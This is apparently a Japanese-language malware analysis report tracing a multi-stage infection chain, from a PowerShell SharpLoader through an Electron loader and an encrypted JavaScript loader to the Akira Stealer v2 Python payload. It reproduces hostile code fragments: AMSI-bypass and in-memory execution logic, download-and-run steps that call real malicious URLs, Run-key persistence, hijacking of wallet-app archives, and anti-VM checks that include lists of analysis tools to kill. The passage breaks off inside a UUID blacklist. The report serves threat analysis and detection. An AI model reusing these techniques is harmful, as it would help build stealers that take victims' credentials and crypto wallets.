- AVエンジンはファイルのスキャンに依存することが多いため、静的なシグネチャ検出を回避できる
EntryPoint が static でない場合に備えて、ローダーにはフォールバックのロジックが含まれています。
MethodInfo method = a.EntryPoint;
if (method != null)
{
object o = a.CreateInstance(method.Name);
method.Invoke(o, null);
}
これにより、実行にインスタンス化されたオブジェクトを必要とするアセンブリ(クラスインスタンス内の public int Main() など)との互換性が確保されます。コードは動的にクラスのインスタンスを作成し、そのうえでエントリポイントのメソッドを呼び出します。
AMSIバイパスとメモリ内復号と組み合わさることで、このメカニズムは最終ペイロードをステルス性の高い完全なファイルレス方式で実行に至らせます。現代の回避型マルウェアの典型的な特徴です。
4.5 コマンドラインパラメーターと柔軟性
PowerShell関数 Invoke-SharpLoader は、任意の.NETペイロードのための柔軟なラッパーとして設計されています。ペイロードの場所と引数の両方を動的に受け取れるため、1つのローダーインスタンスを複数のオペレーションやキャンペーンで再利用できます。
サポートされるパラメーター:
-location(必須): 第2段階の暗号化ペイロードのURLまたはローカルファイルパスを指定します。-password(必須): AESの復号鍵の導出に使われます。-argument、-argument2、-argument3(任意): リフレクション経由で.NETアセンブリのMain()メソッドへそのまま転送されます。-noArgs: 第2段階のペイロードにパラメーターを渡さずに実行します。
内部では、引数は次のように収集されて転送されます。
object[] cmd = args.Skip(2).ToArray();
a.EntryPoint.Invoke(null, new object[] { cmd });
つまり、.NETペイロード側には次のようなシグネチャが期待されるということです。
static void Main(string[] args)
あるいはフォールバックのロジックによって、引数なしの Main() に穏当に戻ります。この振る舞いにより、レッドチームやマルウェアの作者は、入力に応じて異なる動作を行う多目的な第2段階を作成できます。たとえば、インプラントの起動、システム情報の収集、C2通信の開始などです。
こうしたモジュール性と設定可能性は高度なマルウェアフレームワークの中核的な特徴であり、スクリプトベースのローダーが下流のペイロードにとってきわめて適応性の高い実行環境として振る舞えることを示しています。
4.6 実際の使用例
SharpLoaderが実際のキャンペーンでどう実行されたかを示すため、現実に観測された次の呼び出しを見てみましょう。
Invoke-SharpLoader -location "https://cosmoplwnets.xyz/.well-known/pki-validation/calc.enc" -password UwUFufu1 -noArgs
この例は、SharpLoaderの典型的なユースケースを浮き彫りにします。
- 場所の引数: このURLは、隠蔽された第2段階ペイロードである
calc.encをホストするリモートサーバーを指しています。エンドポイントは、HTTPS証明書の検証によく使われる正規らしい見た目の.well-knownディレクトリ配下に置かれており、URLを正規のWebトラフィックに紛れ込ませる助けになっています。 - ペイロードの特性:
calc.encは 三重に難読化されたファイル です。Base64エンコード、GZip圧縮、AES暗号化が施されています。この難読化パイプラインにより、メモリ上で完全に実行・復号されない限り、ペイロードはほとんどの検出メカニズムにとって不透明なままです。 - パスワードの引数: 文字列
UwUFufu1は、実行時にSHA-256とPBKDF2を介してAES鍵を導出するために使われます。このパスワードがなければペイロードは復号できず、文脈のないオフライン解析はほぼ不可能になります。 - 追加引数なし:
-noArgsスイッチは、復号された.NETアセンブリにコマンドライン引数を一切渡さないことを示し、既定の実行パスを起動させます。
このステルス性の高い呼び出しチェーンは、SharpLoaderの中核的な目的を凝縮しています。最大限の難読化と回避を伴うシンプルなPowerShell構文による、ファイルレスで適応的、かつ安全なペイロード配信 です。
4.7 まとめ
Invoke-SharpLoader という構成は、OS標準のコンポーネント、リフレクション、暗号技術を活用してほぼ完全にメモリ上で動作する、きわめて洗練された回避型のマルウェアステージング手法の実例です。
主なポイント:
- AMSIのバイパス:
AmsiScanBufferをメモリ上で直接パッチすることで、検出可能なAPIを呼び出すことなくウイルス対策の検査を無効化します。 - 安全なペイロードの取り扱い: 暗号化・圧縮された第2段階ペイロードを取得することで機密性を確保し、回避の層を何重にも重ねます。
- メモリ上だけの実行: 復号されたペイロードがディスクに書き込まれることはなく、従来のファイルベースのスキャナーによる検出はほぼ不可能になります。
- モジュール式で再利用可能なアーキテクチャ: PowerShellのパラメーターを通じて、SharpLoaderはペイロードや実行時の振る舞いを変えながらキャンペーンをまたいで柔軟に再利用できます。
5. ディープダイブ: main.exe – Electronベースのマルウェアローダー
リバースエンジニアリングの過程で、Microsoft Defender for Endpointが検出した main.exe が通常のバイナリではなく Electronベースのマルウェアローダー であることが明らかになりました。これは app-64.7z というアーカイブに格納された状態で配信され、Updater.exe が実行時にダウンロードして展開していました。展開後の構造と内容は、典型的なElectronアプリケーションによく似ていました。
5.1 Electron構造の識別
展開されたフォルダーには、次のようなファイルが含まれていました。
chrome_100_percent.pak、v8_context_snapshot.bin、d3dcompiler_47.dllLICENSES.chromiumとLICENSES.electron- 大きな
main.exeバイナリ(~150 MB) app.asarと補助バイナリelevate.exeを含むresourcesフォルダー

いずれも、ChromiumとNode.jsを使ってJavaScriptベースのデスクトップアプリケーションをパッケージするElectronアプリの強い指標です。特権昇格によく使われる署名済みMicrosoftバイナリ elevate.exe の存在は、さらに疑いを強めました。昇格した権限で子プロセスを起動するために悪用されうるためです。
5.2 展開と静的解析(ディープダイブ)
main.exe を実行する代わりに、動作を一切発火させないよう静的解析のアプローチを選びました。main.exe がElectronで作られているという当初の疑いは、resources ディレクトリ内に app.asar ファイルを見つけたことで裏付けられました。Electronアプリでは、このアーカイブがJavaScriptファイル、設定(package.json)、アセットといったアプリケーションの中核ロジックをすべて含み、性能と難読化を目的とした独自形式でまとめられています。
.asar アーカイブは本質的に、.zip に似た読み取り専用の高性能なコンテナーですが、Electronのランタイム向けに最適化されています。暗号化されてはいないものの、コードへのアクセスを見えにくくするため、展開しない限り静的解析はより難しくなります。
展開には、npmで提供されている公式の asar ツールを使いました。手順は次のとおりです。
npm install -g asar
asar extract app.asar extracted_app
上記のコマンドを実行すると、内容が作業フォルダー(extracted_app/)に展開され、実際のJavaScriptアプリケーションコードが現れました。そこには次のものが含まれていました。
jscryter.js、input.js、obf.js: これらのスクリプトがマルウェアのロジックを構成します。jscryter.jsはペイロード配信を統括しているとみられ、input.jsは設定定数やコマンドロジックを定義し、obf.jsは中核のペイロードロジックを含むとみられる強く難読化されたスクリプトです。package.json、package-lock.json: ランタイム環境を定義しますnode_modules/:axios、adm-zip、child_processなどの依存関係をすべて含みます
展開された内容により、実行することなくマルウェアのロジックを完全に見通せるようになりました。これは安全なリバースエンジニアリングに不可欠でした。この段階で、main.exe が app.asar 内に隠された悪意あるスクリプトのランタイムラッパーにすぎないことが確認できました。
5.3. 静的解析で明らかになったこと
コードを手作業で精査した結果、マルウェアのロジックが完全にJavaScriptベースであり、Electronランタイム内で実行されることを確認しました。スクリプトは次の動作を行うよう設計されていました。
- フォールバック用のURL群から暗号化ペイロード(
pyth.zip)をダウンロードする adm-zipを使ってアーカイブを展開する- 文字列置換を行い、特定の認証情報やウォレットアドレスを埋め込む
- 生成されたPythonファイル(
astor.py)をchild_process.exec()とpython.exe経由で起動する
決定的だったのは、ローダーが Updater.exe をユーザーのAppDataディレクトリにコピーする ロジックも備えていた点です。まだ存在しない場合にコピーすることで、永続化を強化し感染ループを維持していました。
6. ディープダイブ: input.js – 暗号化されたJavaScriptペイロードローダー
input.js は、分析対象のマルウェアチェーンにおける重要なコンポーネントであり、暗号化されたJavaScriptペイロードの復号と実行のハブとして機能します。このスクリプトは中核機能を強固な暗号化の層の背後に隠し、実行時にのみその振る舞いを明かします。
6.1 暗号化と復号のしくみ
一見すると、input.js には読めるコードがほとんどありません。しかしその主目的は、スクリプト自身の中に格納された大きな難読化済みJavaScriptブロブを復号して実行することにあります。
6.1.1 復号のロジック
このスクリプトは、4つのパラメーターを受け取る decrypt() 関数を定義しています。
encdata: 暗号化されたBase64エンコードのデータmasterkey: 平文のパスフレーズsalt: 暗号用のソルト(Base64)iv: AES復号の初期化ベクトル(Base64)
復号処理はNode.js組み込みの crypto モジュールを使って実装されており、次のように進みます。
- 鍵の導出:
スクリプトはPBKDF2(Password-Based Key Derivation Function 2)を使って256ビットの共通鍵を導出します。
const key = crypto.pbkdf2Sync( masterkey, Buffer.from(salt, "base64"), 100000, 32, "sha512", );- ハッシュ関数: SHA-512
- 反復回数: 100,000
- 鍵長: 32バイト(256ビット)
- ソルト: Base64デコードされた入力として与えられる
- AES-256-CBC復号:
導出された鍵を使ってAESのdecipherオブジェクトを生成します。
const decipher = crypto.createDecipheriv( "aes-256-cbc", key, Buffer.from(iv, "base64"), );
暗号化されたペイロードは、標準的なCBC(Cipher Block Chaining)モードで復号されます。let decrypted = decipher.update(encdata, "base64", "utf8"); decrypted += decipher.final("utf8"); - 動的実行:
復号されたJavaScriptコードがディスクに書き込まれることはありません。代わりに、
Functionコンストラクターを使ってメモリ上で動的に実行されます。new Function("require", decrypted)(require);
この手法によってファイルレス実行が可能になり、ディスクベースのスキャンに依存する従来のウイルス対策エンジンに検出される可能性が下がります。
このアプローチは、鍵導出、強力な暗号化、動的なメモリ内実行を組み合わせることで、リバースエンジニアリングに対する多層的な防御を実現しています。
鍵材料と暗号化データ
スクリプトには、次のハードコードされた入力が含まれています。
- 暗号化データ: 巨大なBase64エンコードのブロブ
- マスターキー:
9uNXNGt8/7kN7ZiEvy1OdYNpbcnzkERs - ソルト:
maXtklzMEZRY9dbul/XPSw==(Base64エンコード) - IV:
HwK6sOz7FBbL+YsrOxtYUg==(Base64エンコード)
これらはすべて input.js のソースコードに直接埋め込まれています。
6.2 復号後のペイロードの振る舞い
復号されると、埋め込まれたペイロードは次の悪意ある動作を行う完全なJavaScriptプログラムになります。
6.2.1 実行環境の準備
復号されたペイロードはまず、Node.js組み込みのモジュールを使って実行環境を整えます。この準備フェーズにより、悪意ある動作が始まる前に、必要なパスと作業ディレクトリがすべて明確に定義されます。
- 一時ディレクトリの解決:
マルウェアは
os.tmpdir()を呼び出し、現在のシステムの一時ディレクトリのパスを取得します。一時フォルダーは通常書き込み可能で、エンドポイント保護製品の監視も比較的手薄なため、マルウェアの定番の戦術です。const tempDir = os.tmpdir(); - パスの構築:
続いてスクリプトは、2つの重要なファイルの絶対パスを構築します。
pyth.zip: 実際の第2段階のPythonベースのスティーラーを含むアーカイブbnd.exe: 永続化用のバックドアや追加ペイロードとして機能しうる、任意の実行ファイル
const tempFile = path.join(tempDir, "pyth.zip"); const binderFile = path.join(tempDir, "bnd.exe");
このパス設定はOS固有のパス構文を吸収し、あらゆるWindowsシステム上でマルウェアがそのまま動作できるようにします。同時に、これに続くファイルのダウンロードと展開のメカニズムへの下地にもなっています。
6.2.2 フォールバック戦略を備えたペイロードのダウンロード
復号されたJavaScriptペイロードの第2の主要フェーズは、リモートの配信元から悪意あるZIPアーカイブをダウンロードすることです。このメカニズムは、耐性と可用性を高めるために多層のフォールバック戦略を備えて設計されています。
- Rentry.co経由の主リンク解決
スクリプトはまず、テキストペーストサービスから動的なURLを解決します。次の宛先にGETリクエストを送ります。
const url = "https://rentry.co/7vzd22fg36hfdd33/raw";
これにより、pyth.zipアーカイブの実際の所在を指すプレーンテキストのURL文字列が返されます。このようなリダイレクトのしくみを使うのはよくある難読化手法です。実際の悪意あるURLを隠し、静的な検出を難しくします。 - ダウンロードの実行
解決されたURLに対して、Axiosライブラリを使いレスポンスストリームで要求します。
const fileResponse = await axios.get(fileUrl, { responseType: "stream" });
ファイルはシステムの一時ディレクトリにpyth.zipとして書き出されます。const writer = fs.createWriteStream(tempFile); fileResponse.data.pipe(writer);
このダウンロードはPromiseでラップされ、以降のロジックが実行される前に確実に完了するようになっています。 - フォールバックURL
Rentry経由のリンクが失敗した場合、スクリプトはハードコードされたバックアップの所在を試します。
https://cosmicdust.zip/.well-known/pki-validation/pyth.zip https://cosmoplanets.net/well-known/pki-validation/pyth.zip
これらのドメインは、標準的なTLS検証用フォルダーの一部に見えるよう構成されており、Let's Encryptやドメイン検証のパスを模して疑いを和らげている可能性があります。各フォールバックは、同じストリーミングとファイル書き込みのロジックで再試行されます。 - 堅牢性と難読化
このフォールバックのしくみにより、マルウェアは第2段階ペイロードの取得経路を複数確保します。動的なポインター(
rentry.co)と複数のフェイルオーバーミラーを使うことで、テイクダウンやブロック、DNSシンクホールに対する耐性が高まります。
このフェーズは、多層的な冗長性とうまくカモフラージュされた配信インフラを用いた、マルウェア作者の周到な運用設計を示しています。
- 解決されたURLから
pyth.zipをダウンロードする - 失敗した場合はフォールバックのミラーを試す:
https://cosmicdust.zip/.well-known/pki-validation/pyth.ziphttps://cosmoplanets.net/well-known/pki-validation/pyth.zip
6.2.3 ペイロードの展開と改変
pyth.zip アーカイブのダウンロードとディスクへの保存に成功すると、マルウェアはその内容を展開し、実行に向けた準備を進めます。これはZIPファイルをプログラムから扱えるNode.jsライブラリ adm-zip を使って行われます。
- ZIPの展開:
const zip = new AdmZip(tempFile); zip.extractAllTo(tempDir, true);
これによりアーカイブの内容がすべてシステムの一時ディレクトリに展開されます。trueフラグは既存ファイルの上書きを保証します。 - アーカイブの内容:
アーカイブ
pyth.zipには、完全にバンドルされたPythonプロジェクトが含まれており、次のものを伴います。- 正規のPythonパッケージに似せたディレクトリ構造
- 複数のPythonモジュールと依存関係
Crypto/Util/astor.pyに置かれた主要ファイルastor.py。これがスティーラー本体のペイロードです
- プレースホルダーの置換:
マルウェアは
astor.py内のあらかじめ定義されたプレースホルダーを動的に置換し、攻撃者が管理する次のような設定データを埋め込みます。- Discord WebhookのURL
- 暗号通貨のウォレットアドレス(BTC、ETH、DOGE、LTC、XMRなど)
- ユーザー識別子(
%USERID%) - エラー状態のフラグ(
%ERRORSTATUS%)
fs.readFile(extractedDir + "\Crypto\Util\astor.py", 'utf8', (err, data) => { let updatedFile = data .replace("%DISCORD%", <webhook>) .replace("%ADDRESSBTC%", <btc_address>) ... .replace("%ERRORSTATUS%", displayError ? "true" : "false"); fs.writeFile(extractedDir + "\Crypto\Util\astor.py", updatedFile, 'utf8'); });
この動的な改変フェーズは不可欠です。攻撃者が管理する値の埋め込みを実行時まで遅らせることで、ペイロードは静的検出を回避し、アーカイブを再パッケージすることなく標的や窃取先エンドポイントを変更できるようになります。
astor.py内のプレースホルダー文字列を置換する:- Discord Webhook:
%DISCORD% - ウォレットアドレス:
%ADDRESSBTC%、%ADDRESSETH%など - ユーザーIDとエラーフラグ
- Discord Webhook:
6.2.4 マルウェアの実行
- astor.pyへのプレースホルダー埋め込みが完了すると、マルウェアはシステムコールを介してスティーラーの実行を開始します
exec("python.exe Crypto\\Util\\astor.py");
このコマンドはNode.jsのchild_process.exec関数を使って実行され、埋め込まれたPythonペイロードを別プロセスで起動します。この特徴的な実行パターン、すなわち引数 Crypto\Util\astor.py を伴う python.exe は、Microsoft Defender for Endpointが収集したテレメトリデータで観測されており、信頼できる検出の手がかりになります。実際の実行チェーンは次のようになります。
Microsoft Defender for Endpointのテレメトリで観測されたマルウェアの実行チェーン全体は、次の順序をたどります。
main.exe(Electronベースのコンテナー)がnode.exeを呼び出すnode.exeがcmd.exeを起動するcmd.exeがpython.exeを開始するpython.exeがファイルCrypto\Util\astor.pyを実行する
6.2.5 永続化の強化
感染したシステム上での長期的な存在を確実にするため、復号されたJavaScriptペイロードには、最初のバイナリ(Updater.exe)をユーザープロファイル内の目立たない場所にコピーして永続化を再確立するロジックが含まれています。
コピー先のディレクトリ
ファイルは、正規のWindowsコンポーネントを模したディレクトリにコピーされます。
%APPDATA%\Microsoft\Internet Explorer\UserData\Updater.exe
この場所は意図的に選ばれています。
- %APPDATA% は一般ユーザーが書き込み可能で、管理者権限を必要としません。
- ディレクトリ名が正規のMicrosoftアプリケーションフォルダーを模しているため、疑われにくくなります。
コピーのしくみ:
コピー操作にはNode.jsの fs.copyFileSync() 関数が使われます。
fs.copyFileSync(
process.env.PORTABLE_EXECUTABLE_FILE,
path.join(
process.env.APPDATA,
"Microsoft",
"Internet Explorer",
"UserData",
"Updater.exe",
),
);
- PORTABLE_EXECUTABLE_FILE は、実行中のバイナリのパスを参照するために多くのパッカー(Electronなど)が自動的に設定する環境変数です。
- path.join(...) は、異なるオペレーティングシステムをまたいで完全修飾のコピー先パスを組み立てます。
このロジックはファイルがまだ存在しない場合にのみ実行されます。つまり、削除されたドロッパーを復元する自己修復メカニズムとして機能します。
マルウェアチェーンにおける役割 コピーされたこの Updater.exe が存在することで、次が保証されます。
- ローダーがシステムの再起動をまたいで自分自身を再起動できる。
- 監視されやすい従来のレジストリによる永続化メカニズムに頼らずに、感染チェーン全体(main.exe、node.exe、最終的に astor.py へと至る流れ)を再開できる。
6.2.6 任意のバインダー実行
主要なスティーラーペイロード(astor.py)のダウンロードと実行に加えて、復号されたJavaScriptには「バインダー」と呼ばれる副次的な実行ファイルを任意でダウンロードし起動するロジックも含まれています。このコンポーネントは、永続化、注意逸らし、あるいは追加のマルウェアモジュールの配備に使えます。
条件付きの実行
バインダーのロジックは、特定のフラグが設定された場合にのみ有効になります。
enableBinder = true;
分析した検体では、この値は既定で false に設定されていましたが、ロジック自体はペイロードに残っており、別のキャンペーンや亜種で簡単に有効化できます。
バインダーのダウンロードロジック
有効化されると、スクリプトは %BINDERURL% プレースホルダーで定義されたURLから外部のバイナリを取得しようとします。
const fileUrl = "%BINDERURL%";
const fileResponse = await axios.get(fileUrl, { responseType: "stream" });
const writer = fs.createWriteStream(binderFile);
fileResponse.data.pipe(writer);
bnd.exeファイルはシステムの一時ディレクトリに保存されます。pyth.zipと同様に、バイナリ全体をメモリに読み込まないよう、Axiosによるストリーミング方式でダウンロードされます。
実行の戦略
ダウンロードに成功すると、スクリプトは cmd.exe を使ってダウンロードしたバイナリを呼び出し、新しいシェルコンテキストで実行されるようにします。
exec(`start cmd /c start ${binderFile}`, ...);
信頼性を高めるため、スクリプトには再試行のロジックが含まれています。
setTimeout(() => {
exec(...);
}, 5000);
これにより、最初の実行が(システム負荷や競合状態などで)失敗した場合でも、マルウェアは短い遅延の後にバイナリの起動を再試行します。
バインダーの用途
この検体ではプレースホルダーのURLのため、バインダーのバイナリが何を目的としているかは明らかになりませんでしたが、こうしたコンポーネントは一般に次の用途で使われます。
- 主要なマルウェアコンポーネントの再インストールまたは再起動
- 偽のインストーラーやおとりアプリケーションの表示
- 追加のスパイウェア、バックドア、ランサムウェアの配備
- システム設定の変更やセキュリティ機能の無効化
6.3 まとめ
input.js は強く難読化・暗号化されたJavaScriptローダーであり、業界標準の暗号技術(PBKDF2 + AES-256-CBC)を使って本来の目的を隠しています。復号されると、次のことを行う十分な機能を備えた第2段階ローダーとして動作します。
- さらなるマルウェア(
pyth.zip)を取得する - ペイロードの振る舞いを動的に書き換える
- 実際のスティーラースクリプト(
astor.py)を起動する Updater.exeを復元して永続化を強化する
暗号化、動的実行、モジュール式のペイロード取得、ファイルレス動作の組み合わせは、Electronシェル内でNode.jsの機能を活用する きわめて高度なJavaScriptベースのマルウェアアーキテクチャ を示しています。
7. ディープダイブ: Akira Stealer v2 (astor.py)
7.1. 全体像としての機能
Akira Stealer v2(astor.py)は、Pythonで書かれた多機能かつモジュール式の情報窃取マルウェアです。ChromiumベースとFirefoxベースの双方のブラウザー、暗号通貨ウォレット、コミュニケーションクライアント(Discord、Telegramなど)、そしてシステムファイルから、幅広い機微なユーザーデータを窃取するよう設計されています。高度なアンチ解析メカニズム、レジストリによる永続化、クリップボードの乗っ取り、メモリインジェクションの手法を備えています。
7.2 永続化と配備
7.2.1 実行チェーンにおける位置づけ
astor.py は単独で実行されるのではなく、多段階の攻撃チェーンにおける最終ペイロードです。
Updater.exe
└── main.exe (Electron app)
└── cmd.exe
└── python.exe astor.py
この構造化された実行チェーンにより、各段階が悪意ある機能を次の段階に委譲しながら検出を回避できます。Updater.exe がこの一連の流れを開始し、永続化の維持を担います。
7.2.2 レジストリによる永続化
Akiraは、現在のユーザーのRunパスの下にレジストリキーを書き込むことで永続化を確立します。これにより、システム起動のたびに Updater.exe が実行されます。
command = f'reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v "Realtek Audio" /t REG_SZ /d "{path}\\Updater.exe" /f'
os.system(command)
- パス:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run - 値の名前:
Realtek Audio(無害に見えるよう選ばれています) - ペイロードのパス: 通常は
AppData\Roaming\Microsoft\Internet Explorer\UserData\\Updater.exe
このコマンドは、PowerShellまたはネイティブの os.system() 実行を介して、自動実行エントリを静かに書き込みます。
7.2.3 ファイルの隠蔽
ユーザーや単純なAVスキャンからバイナリをさらに見えにくくするため、ファイルには隠しファイルとシステムファイルの属性が付けられます。
subprocess.run(["attrib", "+h", "+s", destination_path])
+h: ファイルを隠しファイルとしてマークする+s: ファイルを保護されたシステムファイルとしてマークする
これにより、標準のWindowsエクスプローラーの表示からファイルが事実上消え、ステルス性が高まります。
7.2.4 再感染の手法
このマルウェアは、Electronアプリケーションの乗っ取りによる自己複製と再感染に対応しています。具体的には、Electronベースのデスクトップウォレット(Exodus、Atomic Wallet など)の app.asar アーカイブを置き換え、正規のアプリ起動時に悪意あるJavaScriptを実行させます。
このロジックは、既知のウォレットアプリのパスを探します。
path = os.getenv("APPDATA") + "\\Exodus\\resources\\app.asar"
対象のファイルが存在する場合、武器化されたアーカイブで上書きされます。これにより、Updater.exe を手作業で駆除した後でも永続化が保たれます。
7.3 アンチ解析/回避(クラス: VmProtect)
7.3.1 はじめに
現代のマルウェアキャンペーンにおいて、仮想環境やサンドボックス環境での解析を回避することはステルス性の維持に不可欠です。Akira Stealer v2 は包括的なVM/サンドボックス検出モジュール(VmProtect)を実装しており、解析者が管理する環境を積極的に識別して実行を中断します。本レポートでは、各検出手法を分解し、ブラックリストの定義全体を含む正確なコード断片を示したうえで、用いた解析手法を概説します。
7.3.2 概要
VmProtect クラスは、解析環境で実行を早期に中断するための堅牢なVM・サンドボックス検出を実装しています。検出には2つのレベルがあります。
- レベル1: 軽量で高速なチェック
- レベル2: 詳細で網羅的な調査
VmProtect.isVM(level) が True を返すと、マルウェアは sys.exit() を呼び出し、それ以上の解析を阻みます。
7.3.3 検出レベル
| 機能 | レベル1 | レベル2 |
|---|---|---|
| HTTPSimulation | ✔️ | ✔️ |
| コンピューター名のブラックリスト | ✔️ | ✔️ |
| ユーザーアカウントのブラックリスト | ✔️ | ✔️ |
| ハードウェアUUIDのブラックリスト | ❌ | ✔️ |
| パブリックホスティングのAPIチェック | ❌ | ✔️ |
| レジストリとGPUの手がかり | ❌ | ✔️ |
| バックグラウンドでのタスク終了 | ✔️ | ✔️ |
7.3.4 VmProtect のアーキテクチャ
VmProtect クラスは、次の主要メソッドを公開しています。
checkUUID()checkComputerName()checkUsers()checkHosting()checkHTTPSimulation()checkRegistry()killTasks()isVM(level)
各メソッドはブール値を返すか、回避のための処理を実行します。isVM ラッパーは、指定されたレベルに応じてこれらのチェックを束ねます。
| メソッド | 呼び出し元 | 説明 |
|---|---|---|
checkUUID() |
isVM(2) |
WMIのUUIDブラックリスト |
checkComputerName() |
isVM(1,2) |
環境のホスト名の一致 |
checkUsers() |
isVM(1,2) |
ユーザー名のブラックリスト |
checkHosting() |
isVM(2) |
ip-api.com経由のIPホスティング事業者チェック |
checkHTTPSimulation() |
isVM(1,2) |
HTTPS傍受の検出 |
checkRegistry() |
isVM(2) |
レジストリとGPUドライバーの痕跡 |
killTasks() |
isVM(...) が起動 |
既知の解析プロセスを終了させる |
isVM(level) |
init | 各チェックを束ね、killTasks() スレッドを呼び出す |
@staticmethod
def isVM(level: int) -> bool:
# Always start background task-killer
Thread(target=VmProtect.killTasks, daemon=True).start()
if level == 1:
# Fast path: HTTPS, hostname & user
return (
VmProtect.checkHTTPSimulation()
or VmProtect.checkComputerName()
or VmProtect.checkUsers()
)
if level == 2:
# Deep scan: includes UUID, hosting, registry & GPU
try:
return (
VmProtect.checkHTTPSimulation()
or VmProtect.checkUUID()
or VmProtect.checkComputerName()
or VmProtect.checkUsers()
or VmProtect.checkHosting()
or VmProtect.checkRegistry()
)
except:
return False
return False
7.3.5 UUIDチェック – ハードウェアUUIDによる仮想マシンの識別
マルウェアの回避手法としてよく使われるのが、基盤となるハードウェア環境のフィンガープリンティングです。仮想マシンを示す最も初期の識別子の1つがシステムのUUID(Universally Unique Identifier)です。VMwareやVirtualBoxといった仮想化プラットフォームは、予測可能なUUIDや使い回しのUUIDを生成することが多く、マルウェアはこれを手がかりに仮想化環境やサンドボックス環境で動作しているかどうかを推測できます。
@staticmethod
def checkUUID() -> bool:
try:
raw = subprocess.run(
"wmic csproduct get uuid", shell=True,
capture_output=True
).stdout.splitlines()[2].decode().strip()
except:
raw = ""
return raw in VmProtect.BLACKLISTED_UUIDS
このチェックは、Windows Management Instrumentation Command-line(WMIC)ツールを使ってホストマシンのUUIDを取得します。返された値は、仮想マシンのテンプレートや既知の解析環境に結び付けられたUUIDの選別済みリストと突き合わされます。
7.3.6 コンピューター名チェック – ホスト名によるサンドボックスと解析環境の検出
%COMPUTERNAME% 環境変数から取得できるシステムのホスト名は、しばしばその環境の手がかりを明かします。解析者は「DESKTOP-XXXXXXX」「WIN10ANALYSIS」のような既定のホスト名や即席のホスト名、さらには社内環境に紐づく名前を使いがちです。マルウェアはこれを利用し、システムのホスト名をブラックリストと照合します。
@staticmethod
def checkComputerName() -> bool:
name = os.getenv("computername", "").lower()
return name in VmProtect.BLACKLISTED_COMPUTERNAMES
BLACKLISTED_COMPUTERNAMES = (
'00900bc83802','bee7370c-8c0c-4','desktop-nakffmt',
'desktop-vkeons4','ntt-eff-2w11wss',
# ... dozens more entries ...
)
一致が見つかった場合、マルウェアは実行を中止するか偽のペイロードを配置することを選び、完全な振る舞い解析を避けます。
7.3.7 ユーザーアカウントチェック – 解析者アカウントや既定アカウントのプロファイリング
もう1つのヒューリスティックは、マルウェアが実行されているユーザー名を評価するものです。多くの仮想マシンテンプレートやサンドボックスは、「Abby」「Test」「wdagutilityaccount」といったありふれたユーザー名を使い回します。これらの名前はエントロピーが低く、オープンソースのサンドボックス環境にハードコードされていることも少なくありません。
@staticmethod
def checkUsers() -> bool:
user = os.getlogin().lower()
return user in VmProtect.BLACKLISTED_USERS
BLACKLISTED_USERS = (
'wdagutilityaccount','abby','peter wilson','hmarc',
'a.monaldo','tvm',
# ... 30+ more entries ...
)
このチェックはユーザーのコンテキストに着目することで検出精度を高めます。ユーザーのコンテキストは、再起動や仮想マシンのスナップショットをまたいでも変わらないことがあるためです。
7.3.8 ホスティングチェック – パブリッククラウドインフラの検出
マルウェアの中には、感染したシステムが既知のデータセンターやクラウド事業者の環境にあるかどうかを外部のIPインテリジェンスサービスで確認するものがあります。この事例では、ip-api.com に単純なHTTPリクエストを送り、そのIPが「hosting」として分類されているかを問い合わせます。
@staticmethod
def checkHosting() -> bool:
http = PoolManager(cert_reqs="CERT_NONE")
try:
return http.request(
'GET',
'http://ip-api.com/line/?fields=hosting'
).data.decode().strip() == 'true'
except:
return False
これにより、マルウェアはMicrosoft Azure、AWS、DigitalOceanなどが保有するインフラ上で動作しているかどうかを判断できます。サンドボックスを示す危険信号です。
7.3.9 HTTPSシミュレーションチェック – SSL傍受の探索
SSLインスペクションが行われている環境(企業ネットワークや研究ネットワークでよく見られます)を見分けるため、マルウェアは .in 配下のランダムなサブドメインに無害なHTTPSリクエストを送ります。DNSフィルタリング、傍受プロキシ、証明書ピン留めの失敗などで接続が失敗した場合、それは解析されている兆候かもしれません。
@staticmethod
def checkHTTPSimulation() -> bool:
http = PoolManager(cert_reqs="CERT_NONE", timeout=1.0)
try:
http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')
except:
return False
return True
この控えめな手法は、警報を鳴らすことも専用のインフラを必要とすることもなく、ネットワーク経路の健全性を試します。
7.3.10 レジストリとGPUドライバーのチェック – 仮想GPUのシグネチャ検出
一部の仮想環境は、レジストリキーやGPUドライバーの記述子によって正体を露わにします。Akiraは2本立ての戦略を取ります。グラフィックサブシステムに紐づくレジストリエントリを照会し、それとは別に wmic の出力から不審なGPU文字列を調べます。
@staticmethod
def checkRegistry() -> bool:
r1 = subprocess.run(
"REG QUERY HKLM\\...\\0000\\DriverDesc 2",
capture_output=True, shell=True)
r2 = subprocess.run(
"REG QUERY HKLM\\...\\0000\\ProviderName 2",
capture_output=True, shell=True)
# GPU name check
gpu_out = subprocess.run(
"wmic path win32_VideoController get name",
capture_output=True, shell=True).stdout.decode().splitlines()
gpucheck = any(x in gpu_out[2].lower()
for x in ("virtualbox", "vmware"))
return (r1.returncode != 1 and r2.returncode != 1) or gpucheck
こうしたハードウェア層のチェックは、仮想化されたディスプレイアダプターを十分に隠しきれていない解析環境に対して特に有効です。
7.3.11 タスクの強制終了 – 解析ツールをリアルタイムに抑え込む
Akiraは受動的に検出を避けるだけでなく、さらに一歩進んで既知の解析ツールやデバッグツールを能動的に終了させます。バックグラウンドスレッドを起こし、プロセスのリストを走査して一致するものをすべて強制終了します。
@staticmethod
def killTasks() -> None:
Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)
BLACKLISTED_TASKS = (
'wireshark','fiddler','ida64','x32dbg','vmtoolsd',
# ... dozens more ...
'glasswire','requestly'
)
これらのツールはインシデント対応者やマルウェア解析者が日常的に使うものですが、意味のある振る舞いの痕跡を収集する前に無力化されてしまいます。
まとめ
Akiraは、環境変数やレジストリキーからネットワークの探索やタスク一覧に至るまで、システムの複数の層を狙う洗練されたアンチ解析手法の一式を備えています。これらのメカニズムは、自動化されたサンドボックスと手作業の検査環境の双方を検出し回避するよう設計されています。
受動的なフィンガープリンティングと能動的な抑え込み(タスクの強制終了など)の組み合わせは、中堅どころのマルウェアファミリーでさえ多層的な回避ロジックを組み込むようになった実情を示しています。
7.3.12 ブラックリストの全体と検出関数
ブラックリスト対象のハードウェアUUID
BLACKLISTED_UUIDS = (
'7AB5C494-39F5-4941-9163-47F54D6D5016',
'032E02B4-0499-05C3-0806-3C0700080009',
'03DE0294-0480-05DE-1A06-350700080009',
'11111111-2222-3333-4444-555555555555',
'6F3CA5EC-BEC9-4A4D-8274-11168F640058',
